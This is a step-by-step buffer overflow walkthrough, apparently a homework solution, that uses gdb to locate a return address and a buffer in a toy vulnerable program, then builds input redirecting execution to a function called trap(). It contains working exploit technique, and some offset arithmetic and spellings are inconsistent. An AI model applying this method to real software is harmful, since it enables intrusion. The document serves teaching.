SCRIPT FOR CREATING A BUFFER OVERFLOW EXPLOIT First, find the location of the return address to be overwritten. We run the program under gdb, with any input that (a) will cause a buffer overflow and (b) we an identify by its hex values. For this, use "abcdabcdabcdabcdabcdabcdabcdabcd" (it needs to be longer than the space for but; make it 2 or 3 times longer) Load it into gdb, put a breakpoint at the function getstr, and run it with the bad input: % gdb bad (gdb) break gestr (gdb) run < input_file When this hits the breakpoint, execution stops. We then execute the prologue, to get into the function: (gdb) stepi 4 Now let's get the address we want to branch to. It's the address of trap: (gdb) print /x (int) trap That gives 0x8048470, and that's what you need to overwrite the return address with. Next we have to find the return address. It's what getter will return to. A stack trace gives you that information: (gdb) backtrace #0 0x08048326 in gets@plt () #1 0x08048431 in getstr () #2 0x0804844e in main () You could also disassemble the code for main and found the address right after the call to getstr. Either way, it's 0x0804844e. Now, you need to find where on the stack this address is kept. Look at the stack frame corresponding to getstr. As the crash occurred ion gets, you need to go to that frame: (gdb) up #1 0x08048431 in getstr () and display information about it: (gdb) info frame Stack level 1, frame at 0xbfffeed0: eip = 0x8048431 in getstr; saved eip 0x804844e called by frame at 0xbfffeef0, caller of frame at 0xbfffeea0 Arglist at 0xbfffeec8, args: Locals at 0xbfffeec8, Previous frame’s sp is 0xbfffeed0 Saved registers: ebp at 0xbfffeec8, eip at 0xbfffeecc Look at the address following the "caller of frame at"; call this the caller frame address. Also, look at the address following the "Previous frame's sp is"; call this the current frame address. The stack is arranged so that the return address of interest is stored in the word immediately preceding the current frame address above. To see this, subtract 16 from the current frame address and print 4 words, as follows (here, assume the current frame address is 0xbfffeed0): (gdb) x/4xw 0xbfffeec0 0xbfffeec0: 0x009391e0 0x08048254 0xbfffeee8 0x0804844e The last word printed on the line should (and does) correspond to the return address of interest. That’s the location you need to change. Next, you have to locate the buffer. To do this, write into the buffer with a known value. That’s the value you created and put into the file input_file. So, see what is in memory now, and then watch what happens when the Input overwrites it. First, look at the contents of memory beginning with the caller frame address from above up to the location where the return address is stored. From the above, the caller frame address is 0xbfffeea0; the current frame address is 0xbfffeed0. So there are 0xbfffeed0 - 0xbfffeea0 = 0x30 = 48 bytes, or 48/4 = 12 words. That's the number of words to print: (gdb) x/12xw 0xbfffeea0 0xbfffeea0: 0xbfffeeb4 0x080496ec 0xbfffeeb8 0x080482fc 0xbfffeeb0: 0x0000000a 0x080496ec 0xbfffeee8 0x080484b9 0xbfffeec0: 0x009391e0 0x08048254 0xbfffeee8 0x0804844e Now continue running the program: (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x64636261 in ?? () The 0x64636261 shows the value overwrote the return address, because it was popped and put into the program counter, causing the crash. Note that the value there is 0x64636261 and not 0x61626364. That means this system is little endian, so when you put the address of trap() into the sled, you need to take this into account. Now rerun the memory dump you did earlier, so you can determine how the contents of memory changed: (gdb) x/12xw 0xbfffeea0 0xbfffeea0: 0xbfffeeb4 0x080496ec 0xbfffeeb8 0x080482fc 0xbfffeeb0: 0x0000000a 0x64636261 0x64636261 0x64636261 0xbfffeec0: 0x64636261 0x64636261 0x64636261 0x64636261 Look for a sequence of words that contains 0x64636261. That’s the input values (called a "sled"). Find the address of the first such word. Here it is 0xbfffeeb4. From this, you can compute the length of the needed sled. It must be the number of words between this address and the return address. Here, it is 0xbfffeed0 - 0xbfffeeb4 = 0x1c = 28 bytes, or 7 words, long. Further, the 7th word will overwrite the return address. I create a file containing the following (white spaces are added for clarity; also, these are hex representations of bytes and not characters: 70 84 04 08 70 84 04 08 70 84 04 08 70 84 04 08 70 84 04 08 70 84 04 08 70 84 04 08 Note that this is the address of trap(), which is 0x8048470, written in little endian ordering. Then leave gdb and run the program with that input: % bad input_file Gotcha! So the answers to the questions are: a. The address of the function trap() is 0x8048470. B. The address on the stack that the input must overwrite is 0xbfffeecc. You have to change the value from 0x0804844e to the address of trap(), which (as seen above) is 0x8048470. C. The address of buf is 0xbfffeeb4. D. As computed above, the minimum length of the input is 28 bytes or 7 words.